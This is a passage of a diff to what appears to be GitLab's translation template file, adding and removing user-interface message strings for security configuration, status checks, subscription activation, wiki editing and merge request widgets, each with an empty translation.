+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28315,6 +28830,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -28906,6 +29430,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29059,9 +29586,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30171,6 +30704,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30186,10 +30722,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30753,6 +31337,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -30864,42 +31451,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31161,6 +31832,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31313,9 +31987,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31483,7 +32157,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32166,6 +32837,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32400,7 +33068,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33230,9 +33898,6 @@ msgstr[0] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,13 +34129,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33503,9 +34165,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34650,6 +35321,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36087,6 +36788,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -36984,9 +37715,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38022,10 +38789,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38067,9 +38831,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38085,12 +38846,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
